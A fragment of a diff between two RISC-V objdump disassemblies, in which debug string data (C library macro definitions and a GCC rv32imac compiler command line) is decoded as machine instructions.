-    4d24:	2974                	fld	fa3,208(a0)
-    4d26:	3c20                	fld	fs0,120(s0)
-    4d28:	203c                	fld	fa5,64(s0)
-    4d2a:	53002933          	0x53002933
-    4d2e:	5a49                	li	s4,-14
-    4d30:	5f45                	li	t5,-15
-    4d32:	414d                	li	sp,19
-    4d34:	2058                	fld	fa4,128(s0)
-    4d36:	5f5f 4953 455a      	0x455a49535f5f
-    4d3c:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    4d42:	5f00                	lw	s0,56(a4)
-    4d44:	415f 4d53 414e      	0x414e4d53415f
-    4d4a:	454d                	li	a0,19
-    4d4c:	6328                	flw	fa0,64(a4)
-    4d4e:	616e                	flw	ft2,216(sp)
-    4d50:	656d                	lui	a0,0x1b
-    4d52:	2029                	jal	4d5c <__stack_size+0x455c>
-    4d54:	5f5f 5358 5254      	0x525453585f5f
-    4d5a:	4e49                	li	t3,18
-    4d5c:	5f282047          	fmsub.q	ft0,fa6,fs2,fa1,rdn
-    4d60:	555f 4553 5f52      	0x5f524553555f
-    4d66:	414c                	lw	a1,4(a0)
-    4d68:	4542                	lw	a0,16(sp)
-    4d6a:	5f4c                	lw	a1,60(a4)
-    4d6c:	5250                	lw	a2,36(a2)
-    4d6e:	4645                	li	a2,17
-    4d70:	5849                	li	a6,-14
-    4d72:	5f5f 2029 6e63      	0x6e6320295f5f
-    4d78:	6d61                	lui	s10,0x18
-    4d7a:	0065                	c.nop	25
-    4d7c:	465f 5845 4c43      	0x4c435845465f
-    4d82:	3020                	fld	fs0,96(s0)
-    4d84:	3078                	fld	fa4,224(s0)
-    4d86:	3038                	fld	fa4,96(s0)
-    4d88:	0030                	addi	a2,sp,8
-    4d8a:	5f5f 695f 746e      	0x746e695f5f5f
-    4d90:	6c5f 6165 7473      	0x747361656c5f
-    4d96:	3631                	jal	48a2 <__stack_size+0x40a2>
-    4d98:	745f 645f 6665      	0x6665645f745f
-    4d9e:	6e69                	lui	t3,0x1a
-    4da0:	6465                	lui	s0,0x19
-    4da2:	3120                	fld	fs0,96(a0)
-    4da4:	5300                	lw	s0,32(a4)
-    4da6:	4545                	li	a0,17
-    4da8:	4e455f4b          	fnmsub.q	ft10,fa0,ft4,fs1,unknown
-    4dac:	2044                	fld	fs1,128(s0)
-    4dae:	0032                	c.slli	zero,0xc
-    4db0:	20554e47          	fmsub.s	ft8,fa0,ft5,ft4,rmm
-    4db4:	20373143          	fmadd.s	ft2,fa4,ft3,ft4,rup
-    4db8:	3031                	jal	45c4 <__stack_size+0x3dc4>
-    4dba:	312e                	fld	ft2,232(sp)
-    4dbc:	302e                	fld	ft0,232(sp)
-    4dbe:	2d20                	fld	fs0,88(a0)
-    4dc0:	616d                	addi	sp,sp,240
-    4dc2:	6372                	flw	ft6,28(sp)
-    4dc4:	3d68                	fld	fa0,248(a0)
-    4dc6:	7672                	flw	fa2,60(sp)
-    4dc8:	6d693233          	0x6d693233
-    4dcc:	6361                	lui	t1,0x18
-    4dce:	2d20                	fld	fs0,88(a0)
-    4dd0:	616d                	addi	sp,sp,240
-    4dd2:	6962                	flw	fs2,24(sp)
-    4dd4:	693d                	lui	s2,0xf
-    4dd6:	706c                	flw	fa1,100(s0)
-    4dd8:	2d203233          	0x2d203233
-    4ddc:	636d                	lui	t1,0x1b
-    4dde:	6f6d                	lui	t5,0x1b
-    4de0:	6564                	flw	fs1,76(a0)
-    4de2:	3d6c                	fld	fa1,248(a0)
-    4de4:	656d                	lui	a0,0x1b
-    4de6:	6164                	flw	fs1,68(a0)
-    4de8:	796e                	flw	fs2,248(sp)
-    4dea:	2d20                	fld	fs0,88(a0)
-    4dec:	736d                	lui	t1,0xffffb
-    4dee:	616d                	addi	sp,sp,240
-    4df0:	6c6c                	flw	fa1,92(s0)
-    4df2:	642d                	lui	s0,0xb
-    4df4:	7461                	lui	s0,0xffff8
-    4df6:	2d61                	jal	548e <__stack_size+0x4c8e>
-    4df8:	696c                	flw	fa1,84(a0)
-    4dfa:	696d                	lui	s2,0x1b
-    4dfc:	3d74                	fld	fa3,248(a0)
-    4dfe:	3820                	fld	fs0,112(s0)
-    4e00:	2d20                	fld	fs0,88(a0)
-    4e02:	746d                	lui	s0,0xffffb
-    4e04:	6e75                	lui	t3,0x1d
-    4e06:	3d65                	jal	4cbe <__stack_size+0x44be>
-    4e08:	6f72                	flw	ft10,28(sp)
-    4e0a:	74656b63          	bltu	a0,t1,5560 <__stack_size+0x4d60>
-    4e0e:	2d20                	fld	fs0,88(a0)
-    4e10:	2d203367          	0x2d203367
-    4e14:	2d20734f          	0x2d20734f
-    4e18:	6666                	flw	fa2,88(sp)
-    4e1a:	6e75                	lui	t3,0x1d
-    4e1c:	6f697463          	bgeu	s2,s6,5504 <__stack_size+0x4d04>
-    4e20:	2d6e                	fld	fs10,216(sp)
-    4e22:	74636573          	csrrsi	a0,0x746,6
-    4e26:	6f69                	lui	t5,0x1a
-    4e28:	736e                	flw	ft6,248(sp)
-    4e2a:	2d20                	fld	fs0,88(a0)
-    4e2c:	6466                	flw	fs0,88(sp)
-    4e2e:	7461                	lui	s0,0xffff8
-    4e30:	2d61                	jal	54c8 <__stack_size+0x4cc8>
-    4e32:	74636573          	csrrsi	a0,0x746,6
-    4e36:	6f69                	lui	t5,0x1a
-    4e38:	736e                	flw	ft6,248(sp)
-    4e3a:	2d20                	fld	fs0,88(a0)
-    4e3c:	6666                	flw	fa2,88(sp)
-    4e3e:	6572                	flw	fa0,28(sp)
-    4e40:	7365                	lui	t1,0xffff9
-    4e42:	6174                	flw	fa3,68(a0)
-    4e44:	646e                	flw	fs0,216(sp)
-    4e46:	6e69                	lui	t3,0x1a
-    4e48:	535f0067          	jr	1333(t5) # 1a535 <__stack_size+0x19d35>
-    4e4c:	5f325f43          	fmadd.q	ft10,ft4,fs3,fa1,unknown
-    4e50:	4250                	lw	a2,4(a2)
-    4e52:	43415f53          	0x43415f53
-    4e56:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
-    4e5a:	4954                	lw	a3,20(a0)
-    4e5c:	474e                	lw	a4,208(sp)
-    4e5e:	3120                	fld	fs0,96(a0)
-    4e60:	3431                	jal	486c <__stack_size+0x406c>
-    4e62:	5f00                	lw	s0,56(a4)
-    4e64:	5f535953          	0x5f535953
-    4e68:	455a4953          	0x455a4953
-    4e6c:	545f 485f 0020      	0x20485f545f
-    4e72:	5f5f 4e49 4d54      	0x4d544e495f5f
-    4e78:	5841                	li	a6,-16
-    4e7a:	435f 6328 2029      	0x20296328435f
-    4e80:	23232063          	0x23232063
-    4e84:	4c20                	lw	s0,88(s0)
-    4e86:	004c                	addi	a1,sp,4
-    4e88:	5f5f 4955 544e      	0x544e49555f5f
-    4e8e:	465f 5341 3154      	0x31545341465f
+    445a:	5f00                	lw	s0,56(a4)
+    445c:	705f 7274 6176      	0x61767274705f
+    4462:	756c                	flw	fa1,108(a0)
+    4464:	2065                	jal	450c <__stack_size+0x3d0c>
+    4466:	4300                	lw	s0,0(a4)
+    4468:	4d5f5253          	0x4d5f5253
+    446c:	41524353          	0x41524353
+    4470:	4354                	lw	a3,4(a4)
+    4472:	2048                	fld	fa0,128(s0)
+    4474:	49550033          	0x49550033
+    4478:	544e                	lw	s0,240(sp)
+    447a:	3436                	fld	fs0,360(sp)
+    447c:	4d5f 5841 5f20      	0x5f2058414d5f
+    4482:	555f 4e49 3654      	0x36544e49555f
+    4488:	5f34                	lw	a3,120(a4)
+    448a:	414d                	li	sp,19
+    448c:	5f58                	lw	a4,60(a4)
+    448e:	005f 4e49 5f54      	0x5f544e49005f
+    4494:	454c                	lw	a1,12(a0)
+    4496:	5341                	li	t1,-16
+    4498:	3854                	fld	fa3,176(s0)
+    449a:	4d5f 4e49 2820      	0x28204e494d5f
+    44a0:	492d                	li	s2,11
+    44a2:	544e                	lw	s0,240(sp)
+    44a4:	4c5f 4145 5453      	0x545341454c5f
+    44aa:	5f38                	lw	a4,120(a4)
+    44ac:	414d                	li	sp,19
+    44ae:	2058                	fld	fa4,128(s0)
+    44b0:	202d                	jal	44da <__stack_size+0x3cda>
+    44b2:	2931                	jal	48ce <__stack_size+0x40ce>
+    44b4:	5f00                	lw	s0,56(a4)
+    44b6:	535f4353          	0x535f4353
+    44ba:	5254                	lw	a3,36(a2)
+    44bc:	4145                	li	sp,17
+    44be:	5f4d                	li	t5,-13
+    44c0:	414d                	li	sp,19
+    44c2:	2058                	fld	fa4,128(s0)
+    44c4:	3031                	jal	3cd0 <__stack_size+0x34d0>
+    44c6:	0030                	addi	a2,sp,8
+    44c8:	5f5f 4e49 4d54      	0x4d544e495f5f
+    44ce:	5841                	li	a6,-16
+    44d0:	575f 4449 4854      	0x48544449575f
+    44d6:	5f5f 3620 0034      	0x3436205f5f
+    44dc:	5f5f 4e47 4355      	0x43554e475f5f
+    44e2:	565f 5f41 494c      	0x494c5f41565f
+    44e8:	00205453          	fadd.s	fs0,ft0,ft2,unknown
+    44ec:	5f5f 4e47 4355      	0x43554e475f5f
+    44f2:	494c                	lw	a1,20(a0)
+    44f4:	5f5f454b          	fnmsub.q	fa0,ft10,fs5,fa1,rmm
+    44f8:	535f 4345 4954      	0x49544345535f
+    44fe:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    4502:	5f00                	lw	s0,56(a4)
+    4504:	69647473          	csrrci	s0,0x696,8
+    4508:	5f6e                	lw	t5,248(sp)
+    450a:	2872                	fld	fa6,280(sp)
+    450c:	2978                	fld	fa4,208(a0)
+    450e:	2820                	fld	fs0,80(s0)
+    4510:	7828                	flw	fa0,112(s0)
+    4512:	2d29                	jal	4b2c <__stack_size+0x432c>
+    4514:	5f3e                	lw	t5,236(sp)
+    4516:	69647473          	csrrci	s0,0x696,8
+    451a:	296e                	fld	fs2,216(sp)
+    451c:	4600                	lw	s0,8(a2)
+    451e:	4544                	lw	s1,12(a0)
+    4520:	4546                	lw	a0,80(sp)
+    4522:	2052                	fld	ft0,272(sp)
+    4524:	465f 4544 4546      	0x45464544465f
+    452a:	0052                	c.slli	zero,0x14
+    452c:	5f5f 4e49 5f54      	0x5f544e495f5f
+    4532:	454c                	lw	a1,12(a0)
+    4534:	5341                	li	t1,-16
+    4536:	3654                	fld	fa3,168(a2)
+    4538:	5f34                	lw	a3,120(a4)
+    453a:	54444957          	0x54444957
+    453e:	5f48                	lw	a0,60(a4)
+    4540:	205f 3436 5f00      	0x5f003436205f
+    4546:	755f 6e69 3674      	0x36746e69755f
+    454c:	5f34                	lw	a3,120(a4)
+    454e:	0074                	addi	a3,sp,12
+    4550:	465f 4944 4552      	0x45524944465f
+    4556:	524f5443          	fmadd.d	fs0,ft10,ft4,fa0,unknown
+    455a:	2059                	jal	45e0 <__stack_size+0x3de0>
+    455c:	7830                	flw	fa2,112(s0)
+    455e:	3032                	fld	ft0,296(sp)
+    4560:	3030                	fld	fa2,96(s0)
+    4562:	3030                	fld	fa2,96(s0)
+    4564:	5f00                	lw	s0,56(a4)
+    4566:	4e5f 4c55 414c      	0x414c4c554e5f
+    456c:	4942                	lw	s2,16(sp)
+    456e:	494c                	lw	a1,20(a0)
+    4570:	5954                	lw	a3,52(a0)
+    4572:	505f 4152 4d47      	0x4d474152505f
+    4578:	5f41                	li	t5,-16
+    457a:	4f50                	lw	a2,28(a4)
+    457c:	2050                	fld	fa2,128(s0)
+    457e:	5f00                	lw	s0,56(a4)
+    4580:	454e                	lw	a0,208(sp)
+    4582:	42494c57          	0x42494c57
+    4586:	565f 5245 4953      	0x49535245565f
+    458c:	485f4e4f          	fnmadd.s	ft8,ft10,ft5,fs1,rmm
+    4590:	5f5f 3120 5000      	0x500031205f5f
+    4596:	435f4d57          	0x435f4d57
+    459a:	544e554f          	0x544e554f
+    459e:	3020                	fld	fs0,96(s0)
+    45a0:	3078                	fld	fa4,224(s0)
+    45a2:	0038                	addi	a4,sp,8
+    45a4:	4f495047          	fmsub.q	ft0,fs2,fs4,fs1,unknown
+    45a8:	495f 504e 5455      	0x5455504e495f
+    45ae:	565f 4c41 3020      	0x30204c41565f
+    45b4:	3078                	fld	fa4,224(s0)
+    45b6:	0030                	addi	a2,sp,8
+    45b8:	5f5f 656e 6465      	0x6465656e5f5f
+    45be:	775f 6e69 5f74      	0x5f746e69775f
+    45c4:	0074                	addi	a3,sp,12
+    45c6:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    45ca:	534d                	li	t1,-13
+    45cc:	4154                	lw	a3,4(a0)
+    45ce:	5554                	lw	a3,44(a0)
+    45d0:	00302053          	fadd.s	ft0,ft0,ft3,rdn
+    45d4:	5f5f 5441 4d4f      	0x4d4f54415f5f
+    45da:	4349                	li	t1,18
+    45dc:	525f 4c45 5841      	0x58414c45525f
+    45e2:	4445                	li	s0,17
+    45e4:	3020                	fld	fs0,96(s0)
+    45e6:	5f00                	lw	s0,56(a4)
+    45e8:	565f4353          	0x565f4353
+    45ec:	5f36                	lw	t5,108(sp)
+    45ee:	504c                	lw	a1,36(s0)
+    45f0:	4942                	lw	s2,16(sp)
+    45f2:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
+    45f6:	4246                	lw	tp,80(sp)
+    45f8:	4749                	li	a4,18
+    45fa:	5f20                	lw	s0,120(a4)
+    45fc:	565f4353          	0x565f4353
+    4600:	504c5f37          	lui	t5,0x504c5
+    4604:	4942                	lw	s2,16(sp)
+    4606:	464f5f47          	fmsub.q	ft10,ft10,ft4,fs0,unknown
+    460a:	4246                	lw	tp,80(sp)
+    460c:	4749                	li	a4,18
+    460e:	5300                	lw	s0,32(a4)
+    4610:	495f 4753 4449      	0x44494753495f
+    4616:	3020                	fld	fs0,96(s0)
+    4618:	3030                	fld	fa2,96(s0)
+    461a:	3032                	fld	ft0,296(sp)
+    461c:	3030                	fld	fa2,96(s0)
+    461e:	5500                	lw	s0,40(a0)
+    4620:	4e49                	li	t3,18
+    4622:	5f54                	lw	a3,60(a4)
+    4624:	4146                	lw	sp,80(sp)
+    4626:	36315453          	0x36315453
+    462a:	4d5f 5841 5f20      	0x5f2058414d5f
+    4630:	555f 4e49 5f54      	0x5f544e49555f
+    4636:	4146                	lw	sp,80(sp)
+    4638:	36315453          	0x36315453
+    463c:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    4642:	5f00                	lw	s0,56(a4)
+    4644:	5f535953          	0x5f535953
+    4648:	545f 4d49 5645      	0x56454d49545f
+    464e:	4c41                	li	s8,16
+    4650:	485f 205f 5300      	0x5300205f485f
+    4656:	44454843          	0x44454843
+    465a:	4f5f 4854 5245      	0x524548544f5f
+    4660:	3020                	fld	fs0,96(s0)
+    4662:	5f00                	lw	s0,56(a4)
+    4664:	4f49                	li	t5,18
+    4666:	424e                	lw	tp,208(sp)
+    4668:	2046                	fld	ft0,80(sp)
+    466a:	0032                	c.slli	zero,0xc
+    466c:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    4670:	484d                	li	a6,19
+    4672:	4d50                	lw	a2,28(a0)
+    4674:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
+    4678:	4554                	lw	a3,12(a0)
+    467a:	3252                	fld	ft4,304(sp)
+    467c:	2038                	fld	fa4,64(s0)
+    467e:	3432                	fld	fs0,296(sp)
+    4680:	5f00                	lw	s0,56(a4)
+    4682:	505f 534f 5849      	0x5849534f505f
+    4688:	565f 5349 4249      	0x42495349565f
+    468e:	454c                	lw	a1,12(a0)
+    4690:	3220                	fld	fs0,96(a2)
+    4692:	3030                	fld	fa2,96(s0)
+    4694:	3038                	fld	fa4,96(s0)
+    4696:	0039                	c.nop	14
+    4698:	5f5f 454e 4c57      	0x4c57454e5f5f
+    469e:	4249                	li	tp,18
+    46a0:	5f5f 3320 5f00      	0x5f0033205f5f
+    46a6:	545f4353          	0x545f4353
+    46aa:	4152                	lw	sp,20(sp)
+    46ac:	38204543          	fmadd.s	fa0,ft0,ft2,ft7,rmm
+    46b0:	5f5f0033          	0x5f5f0033
+    46b4:	6572                	flw	fa0,28(sp)
+    46b6:	7574                	flw	fa3,108(a0)
+    46b8:	6e72                	flw	ft8,28(sp)
+    46ba:	77745f73          	csrrwi	t5,0x777,8
+    46be:	6369                	lui	t1,0x1a
+    46c0:	2065                	jal	4768 <__stack_size+0x3f68>
+    46c2:	5f5f 7461 7274      	0x727474615f5f
+    46c8:	6269                	lui	tp,0x1a
+    46ca:	7475                	lui	s0,0xffffd
+    46cc:	5f65                	li	t5,-7
+    46ce:	285f 5f28 725f      	0x725f5f28285f
+    46d4:	7465                	lui	s0,0xffff9
+    46d6:	7275                	lui	tp,0xffffd
+    46d8:	736e                	flw	ft6,248(sp)
+    46da:	745f 6977 6563      	0x65636977745f
+    46e0:	5f5f 2929 5f00      	0x5f0029295f5f
+    46e6:	445f 4c42 445f      	0x445f4c42445f
+    46ec:	4e45                	li	t3,17
+    46ee:	5f4d524f          	fnmadd.q	ft4,fs10,fs4,fa1,unknown
+    46f2:	494d                	li	s2,19
+    46f4:	5f4e                	lw	t5,240(sp)
+    46f6:	205f 2828 6f64      	0x6f642828205f
+    46fc:	6275                	lui	tp,0x1d
+    46fe:	656c                	flw	fa1,76(a0)
+    4700:	3429                	jal	410a <__stack_size+0x390a>
+    4702:	392e                	fld	fs2,232(sp)
+    4704:	3034                	fld	fa3,96(s0)
+    4706:	3536                	fld	fa0,360(sp)
+    4708:	3436                	fld	fs0,360(sp)
+    470a:	3835                	jal	3f46 <__stack_size+0x3746>
+    470c:	3134                	fld	fa3,96(a0)
+    470e:	3432                	fld	fs0,296(sp)
+    4710:	3536                	fld	fa0,360(sp)
+    4712:	3434                	fld	fa3,104(s0)
+    4714:	3731                	jal	4620 <__stack_size+0x3e20>
+    4716:	3536                	fld	fa0,360(sp)
+    4718:	3836                	fld	fa6,360(sp)
+    471a:	38323937          	lui	s2,0x38323
+    471e:	3836                	fld	fa6,360(sp)
+    4720:	3232                	fld	ft4,296(sp)
+    4722:	3331                	jal	442e <__stack_size+0x3c2e>
+    4724:	2d653237          	lui	tp,0x2d653
+    4728:	4c343233          	0x4c343233
+    472c:	0029                	c.nop	10
+    472e:	535f 5f43 4552      	0x45525f43535f
+    4734:	445f 5055 4d5f      	0x4d5f5055445f
+    473a:	5841                	li	a6,-16
+    473c:	3720                	fld	fs0,104(a4)
+    473e:	525f0033          	0x525f0033
+    4742:	4545                	li	a0,17
+    4744:	544e                	lw	s0,240(sp)
+    4746:	4d5f 5f50 4552      	0x45525f504d5f
+    474c:	544c5553          	0x544c5553
+    4750:	7028                	flw	fa0,96(s0)
+    4752:	7274                	flw	fa3,100(a2)
+    4754:	2029                	jal	475e <__stack_size+0x3f5e>
+    4756:	2828                	fld	fa0,80(s0)
+    4758:	7470                	flw	fa2,108(s0)
+    475a:	2972                	fld	fs2,280(sp)
+    475c:	3e2d                	jal	4296 <__stack_size+0x3a96>
+    475e:	725f 7365 6c75      	0x6c757365725f
+    4764:	2974                	fld	fa3,208(a0)
+    4766:	5f00                	lw	s0,56(a4)
+    4768:	475f 4343 495f      	0x495f4343475f
+    476e:	4345                	li	t1,17
+    4770:	355f 3935 3020      	0x30203935355f
+    4776:	5f00                	lw	s0,56(a4)
+    4778:	4f50                	lw	a2,28(a4)
+    477a:	5f584953          	0x5f584953
+    477e:	4f535f43          	fmadd.q	ft10,ft6,fs5,fs1,unknown
+    4782:	5255                	li	tp,-11
+    4784:	5f004543          	fmadd.q	fa0,ft0,fa6,fa1,rmm
+    4788:	745f 6d69 5f65      	0x5f656d69745f
+    478e:	5f74                	lw	a3,124(a4)
+    4790:	6564                	flw	fs1,76(a0)
+    4792:	6966                	flw	fs2,88(sp)
+    4794:	656e                	flw	fa0,216(sp)
+    4796:	2064                	fld	fs1,192(s0)
+    4798:	5f00                	lw	s0,56(a4)
+    479a:	4552                	lw	a0,20(sp)
+    479c:	4e45                	li	t3,17
+    479e:	5f54                	lw	a3,60(a4)
+    47a0:	49445453          	0x49445453
+    47a4:	54535f4f          	0x54535f4f
+    47a8:	4552                	lw	a0,20(sp)
+    47aa:	4d41                	li	s10,16
+    47ac:	7628                	flw	fa0,104(a2)
+    47ae:	7261                	lui	tp,0xffff8
+    47b0:	692c                	flw	fa1,80(a0)
+    47b2:	646e                	flw	fs0,216(sp)
+    47b4:	7865                	lui	a6,0xffff9
+    47b6:	2029                	jal	47c0 <__stack_size+0x3fc0>
+    47b8:	2826                	fld	fa6,72(sp)
+    47ba:	6176                	flw	ft2,92(sp)
+    47bc:	2972                	fld	fs2,280(sp)
+    47be:	3e2d                	jal	42f8 <__stack_size+0x3af8>
+    47c0:	5f5f 6673 695b      	0x695b66735f5f
+    47c6:	646e                	flw	fs0,216(sp)
+    47c8:	7865                	lui	a6,0xffff9
+    47ca:	005d                	c.nop	23
+    47cc:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    47d0:	494d                	li	s2,19
+    47d2:	2045                	jal	4872 <__stack_size+0x4072>
+    47d4:	0031                	c.nop	12
+    47d6:	5f46                	lw	t5,112(sp)
+    47d8:	30204b4f          	fnmadd.s	fs6,ft0,ft2,ft6,rmm
+    47dc:	4c00                	lw	s0,24(s0)
+    47de:	4e49                	li	t3,18
+    47e0:	5f45                	li	t5,-15
+    47e2:	414d                	li	sp,19
+    47e4:	2058                	fld	fa4,128(s0)
+    47e6:	3032                	fld	ft0,296(sp)
+    47e8:	3834                	fld	fa3,112(s0)
+    47ea:	5f00                	lw	s0,56(a4)
+    47ec:	465f 4c49 5f45      	0x5f454c49465f
+    47f2:	6564                	flw	fs1,76(a0)
+    47f4:	6966                	flw	fs2,88(sp)
+    47f6:	656e                	flw	fa0,216(sp)
+    47f8:	2064                	fld	fs1,192(s0)
+    47fa:	5f00                	lw	s0,56(a4)
+    47fc:	4552                	lw	a0,20(sp)
+    47fe:	4e45                	li	t3,17
+    4800:	5f54                	lw	a3,60(a4)
+    4802:	44544547          	0x44544547
+    4806:	5441                	li	s0,-16
+    4808:	5f45                	li	t5,-15
+    480a:	5245                	li	tp,-15
+    480c:	5f52                	lw	t5,52(sp)
+    480e:	2850                	fld	fa2,144(s0)
+    4810:	7470                	flw	fa2,108(s0)
+    4812:	2972                	fld	fs2,280(sp)
+    4814:	2820                	fld	fs0,80(s0)
+    4816:	2826                	fld	fa6,72(sp)
+    4818:	7028                	flw	fa0,96(s0)
+    481a:	7274                	flw	fa3,100(a2)
+    481c:	2d29                	jal	4e36 <__stack_size+0x4636>
+    481e:	5f3e                	lw	t5,236(sp)
+    4820:	656e                	flw	fa0,216(sp)
+    4822:	725f2e77          	0x725f2e77
+    4826:	6565                	lui	a0,0x19
+    4828:	746e                	flw	fs0,248(sp)
+    482a:	5f2e                	lw	t5,232(sp)
+    482c:	64746567          	0x64746567
+    4830:	7461                	lui	s0,0xffff8
+    4832:	5f65                	li	t5,-7
+    4834:	7265                	lui	tp,0xffff9
+    4836:	2972                	fld	fs2,280(sp)
+    4838:	0029                	c.nop	10
+    483a:	49445f4f          	fnmadd.s	ft10,fs0,fs4,fs1,unknown
+    483e:	4552                	lw	a0,20(sp)
+    4840:	5f205443          	fmadd.q	fs0,ft0,fs2,fa1,unknown
+    4844:	4446                	lw	s0,80(sp)
+    4846:	5249                	li	tp,-14
+    4848:	4345                	li	t1,17
+    484a:	0054                	addi	a3,sp,4
+    484c:	455f 444e 535f      	0x535f444e455f
+    4852:	4454                	lw	a3,12(s0)
+    4854:	435f 0020 555f      	0x555f0020435f
+    485a:	4e49                	li	t3,18
+    485c:	5054                	lw	a3,36(s0)
+    485e:	5254                	lw	a3,36(a2)
+    4860:	545f 445f 4345      	0x4345445f545f
+    4866:	414c                	lw	a1,4(a0)
+    4868:	4552                	lw	a0,20(sp)
+    486a:	2044                	fld	fs1,128(s0)
+    486c:	5f00                	lw	s0,56(a4)
+    486e:	554e                	lw	a0,240(sp)
+    4870:	4c4c                	lw	a1,28(s0)
+    4872:	3020                	fld	fs0,96(s0)
+    4874:	4f00                	lw	s0,24(a4)
+    4876:	415f 4343 4f4d      	0x4f4d4343415f
+    487c:	4544                	lw	s1,12(a0)
+    487e:	2820                	fld	fs0,80(s0)
+    4880:	44525f4f          	0x44525f4f
+    4884:	594c4e4f          	fnmadd.s	ft8,fs8,fs4,fa1,rmm
+    4888:	4f7c                	lw	a5,92(a4)
+    488a:	575f 4f52 4c4e      	0x4c4e4f52575f
+    4890:	7c59                	lui	s8,0xffff6
+    4892:	44525f4f          	0x44525f4f
+    4896:	00295257          	0x295257
+    489a:	4f4c                	lw	a1,28(a4)
+    489c:	474e                	lw	a4,208(sp)
+    489e:	4d5f 4e49 2820      	0x28204e494d5f
+    48a4:	4c2d                	li	s8,11
+    48a6:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    48aa:	414d                	li	sp,19
+    48ac:	2058                	fld	fa4,128(s0)
+    48ae:	202d                	jal	48d8 <__stack_size+0x40d8>
+    48b0:	4c31                	li	s8,12
+    48b2:	0029                	c.nop	10
+    48b4:	5f5f 6377 6168      	0x616863775f5f
+    48ba:	5f72                	lw	t5,60(sp)
+    48bc:	5f74                	lw	a3,124(a4)
+    48be:	205f 4300 5253      	0x52534300205f
+    48c4:	4d5f 5045 2043      	0x204350454d5f
+    48ca:	0034                	addi	a3,sp,8
+    48cc:	5f5f 7470 675f      	0x675f74705f5f
+    48d2:	6175                	addi	sp,sp,368
+    48d4:	6472                	flw	fs0,28(sp)
+    48d6:	6465                	lui	s0,0x19
+    48d8:	625f 2879 2978      	0x29782879625f
+    48de:	5f20                	lw	s0,120(a4)
+    48e0:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    48e6:	6e61                	lui	t3,0x18
+    48e8:	6f6e                	flw	ft10,216(sp)
+    48ea:	6174                	flw	fa3,68(a0)
+    48ec:	6574                	flw	fa3,76(a0)
+    48ee:	7028                	flw	fa0,96(s0)
+    48f0:	5f74                	lw	a3,124(a4)
+    48f2:	72617567          	0x72617567
+    48f6:	6564                	flw	fs1,76(a0)
+    48f8:	5f64                	lw	s1,124(a4)
+    48fa:	7962                	flw	fs2,56(sp)
+    48fc:	7828                	flw	fa0,112(s0)
+    48fe:	2929                	jal	4d18 <__stack_size+0x4518>
+    4900:	5f00                	lw	s0,56(a4)
+    4902:	41484357          	0x41484357
+    4906:	5f52                	lw	t5,52(sp)
+    4908:	5f54                	lw	a3,60(a4)
+    490a:	4544                	lw	s1,12(a0)
+    490c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    4910:	4445                	li	s0,17
+    4912:	0020                	addi	s0,sp,8
+    4914:	5f5f 6c61 6f6c      	0x6f6c6c615f5f
+    491a:	69735f63          	bge	t1,s7,4fb8 <__stack_size+0x47b8>
+    491e:	657a                	flw	fa0,156(sp)
+    4920:	7828                	flw	fa0,112(s0)
+    4922:	2029                	jal	492c <__stack_size+0x412c>
+    4924:	5f5f 7461 7274      	0x727474615f5f
+    492a:	6269                	lui	tp,0x1a
+    492c:	7475                	lui	s0,0xffffd
+    492e:	5f65                	li	t5,-7
+    4930:	285f 5f28 615f      	0x615f5f28285f
+    4936:	6c6c                	flw	fa1,92(s0)
+    4938:	735f636f          	jal	t1,fb86c <__stack_size+0xfb06c>
+    493c:	7a69                	lui	s4,0xffffa
+    493e:	5f65                	li	t5,-7
+    4940:	285f 2978 2929      	0x29292978285f
+    4946:	5f00                	lw	s0,56(a4)
+    4948:	4552                	lw	a0,20(sp)
+    494a:	4e45                	li	t3,17
+    494c:	5f54                	lw	a3,60(a4)
+    494e:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
+    4952:	4d455f4b          	0x4d455f4b
+    4956:	5245                	li	tp,-15
+    4958:	434e4547          	fmsub.d	fa0,ft8,fs4,fs0,rmm
+    495c:	2859                	jal	49f2 <__stack_size+0x41f2>
+    495e:	7470                	flw	fa2,108(s0)
+    4960:	2972                	fld	fs2,280(sp)
+    4962:	0020                	addi	s0,sp,8
+    4964:	555f 424e 4655      	0x4655424e555f
+    496a:	535f 5254 4145      	0x41455254535f
+    4970:	5f4d                	li	t5,-13
+    4972:	2054504f          	fnmadd.s	ft0,fs0,ft5,ft4,unknown
+    4976:	0031                	c.nop	12
+    4978:	5f5f 7973 5f6d      	0x5f6d79735f5f
+    497e:	706d6f63          	bltu	s10,t1,509c <__stack_size+0x489c>
+    4982:	7461                	lui	s0,0xffff8
+    4984:	7328                	flw	fa0,96(a4)
+    4986:	6d79                	lui	s10,0x1e
+    4988:	692c                	flw	fa1,80(a0)
+    498a:	706d                	c.lui	zero,0xffffb
+    498c:	2c6c                	fld	fa1,216(s0)
+    498e:	6576                	flw	fa0,92(sp)
+    4990:	6972                	flw	fs2,28(sp)
+    4992:	2964                	fld	fs1,208(a0)
+    4994:	5f20                	lw	s0,120(a4)
+    4996:	615f 6d73 5f5f      	0x5f5f6d73615f
+    499c:	2228                	fld	fa0,64(a2)
+    499e:	732e                	flw	ft6,232(sp)
+    49a0:	6d79                	lui	s10,0x1e
+    49a2:	6576                	flw	fa0,92(sp)
+    49a4:	2072                	fld	ft0,280(sp)
+    49a6:	2022                	fld	ft0,8(sp)
+    49a8:	706d6923          	0x706d6923
+    49ac:	206c                	fld	fa1,192(s0)
+    49ae:	2c22                	fld	fs8,8(sp)
+    49b0:	2220                	fld	fs0,64(a2)
+    49b2:	2320                	fld	fs0,64(a4)
+    49b4:	206d7973          	csrrci	s2,0x206,26
+    49b8:	4022                	0x4022
+    49ba:	2022                	fld	ft0,8(sp)
+    49bc:	72657623          	0x72657623
+    49c0:	6469                	lui	s0,0x1a
+    49c2:	0029                	c.nop	10
+    49c4:	5f5f 4e49 5f54      	0x5f544e495f5f
